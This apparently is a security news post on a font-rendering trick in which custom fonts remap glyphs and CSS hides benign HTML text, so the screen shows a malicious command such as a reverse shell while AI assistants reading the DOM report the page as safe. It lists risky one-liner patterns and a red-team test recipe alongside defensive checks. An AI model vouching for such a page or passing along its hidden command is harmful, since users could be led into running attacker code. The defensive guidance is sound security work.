Attackers are hiding harmful commands on web pages using custom fonts and CSS. Many AI assistants only read the HTML, not what the browser actually shows. Use these five steps to detect font-rendering attacks on AI: compare the rendered page to the HTML, treat fonts as untrusted, scan CSS for tricks, harden copy/paste, and monitor risky commands. A new proof-of-concept shows how a web page can show one thing to people and another to AI tools. The trick uses custom fonts that remap characters and CSS that hides safe-looking text while the browser displays a dangerous command. When a user asks an AI assistant if the page is safe, the bot reads only the harmless HTML and gives false reassurance. Security firm LayerX demonstrated this with a “Bioshock easter egg” page that coaxed users to run a reverse shell. Microsoft treated the report as important. Most other vendors called it out of scope because it uses social engineering.

How the font trick works

Glyph remapping and CSS masking

Attackers ship a custom font where each glyph shows a different character than the one in the HTML. The HTML looks safe. The browser uses the font to render a very different message on screen. CSS then hides the harmless text with tiny font sizes, opacity, or same-color text, so the user sees only the attack content.

Why AI assistants miss it

Most assistants parse the DOM as text. They do not “see” the final pixels. That creates a gap: the bot analyzes the safe HTML, while the user sees the harmful command. This gap can lead to wrong advice, unsafe recommendations, and lost trust.

Risks and recent responses

– The method can push reverse shells, curl|bash, PowerShell -enc, or similar one-liners. – It relies on social engineering and urgency, like a promise of a reward or easter egg. – According to LayerX, the trick worked against several popular assistants, including ChatGPT, Claude, Copilot, and Gemini. – Microsoft engaged and addressed the issue. Google first accepted, then closed it as low harm.

5 steps to detect font-rendering attacks on AI

1) Compare what the browser renders with what the DOM says

To detect font-rendering attacks on AI, make your safety pipeline look at both layers. – Render the page in a real or headless browser. – Capture a screenshot and run OCR to extract on-screen text. – Diff the OCR text against the DOM text. – If they differ in meaningful ways, flag the page for review. – When users ask “Is this command safe?”, have the assistant reason over the OCR text too.

2) Treat fonts as untrusted code

Fonts can carry logic via glyph maps and OpenType features. Reduce risk by shrinking the attack surface. – Restrict remote fonts with a Content Security Policy (font-src) and trusted domains. – Prefer system fonts for sensitive workflows (admin panels, internal docs, code portals). – Hash and allowlist approved font files. – Scan fonts for unusual glyph substitutions or excessive ligatures. – Block pages that inject @font-face just around code blocks or instructions.

3) Flag visual obfuscation in CSS

Attackers hide “benign” text and show the payload. Build CSS-aware linting and signals to detect font-rendering attacks on AI at scale. – Detect foreground/background color matches or near matches. – Flag near-zero opacity, minuscule font-size, or text placed off-screen (negative text-indent, huge translate). – Watch for aria-hidden on visible instructions or overlays that cover real text. – Highlight elements with pointer-events: none covering code blocks. – Score pages higher risk when obfuscation clusters near “copy code,” “terminal,” or “reward” cues.

4) Harden copy/paste and command execution

Make it hard for a hidden payload to jump from the browser into a terminal. – Default to paste-as-plain-text in terminals and developer tools. – Show a confirmation dialog that displays the exact command with invisible characters revealed. – Strip zero-width and confusable Unicode before execution. – Alert on known risky patterns (curl|bash, bash -i, nc -e, powershell -enc, iwr -useb | iex). – Encourage users to test unknown commands in a sandbox or VM first.

5) Monitor assistant judgments and escalate on risk

Your assistant should not give a final “safe” verdict when signals conflict. – If rendered text and DOM diverge, respond with a warning and block copy buttons. – Provide a short risk report: “Rendered page shows a shell command that differs from HTML.” – Route high-risk cases to security teams with the screenshot, DOM, CSS, and font files attached. – Log these events to improve your models and rules over time.

Build a quick detection workflow

Minimum viable checks

– Load the page with a headless browser. – Run OCR on the screenshot. – Compare OCR text to DOM text. – Parse CSS for opacity, size, and color tricks. – Quarantine or warn if a code block appears only in the rendered view.

Red-team your assistant

– Create a test page with custom @font-face and glyph remapping. – Hide safe text; render a known-bad one-liner on screen. – Ask your assistant to assess safety. – Verify that it spots the mismatch and blocks the action.

User and team training

– Teach users to distrust “easter egg” or quick-reward pages that ask for terminal commands. – Remind them that AI bots can miss what the eye sees. – Promote copy/paste hygiene and sandbox use. – Publish a short internal guide with screenshots of this attack. Attackers are now using the visual layer against language models. Close the gap between pixels and text, watch fonts and CSS, and make pasting safer. If you follow these five steps to detect font-rendering attacks on AI, you can catch hidden payloads before they land in a terminal. (p)(Source: https://www.bleepingcomputer.com/news/security/new-font-rendering-trick-hides-malicious-commands-from-ai-tools/)(/p) (p)For more news: Click Here(/p)

FAQ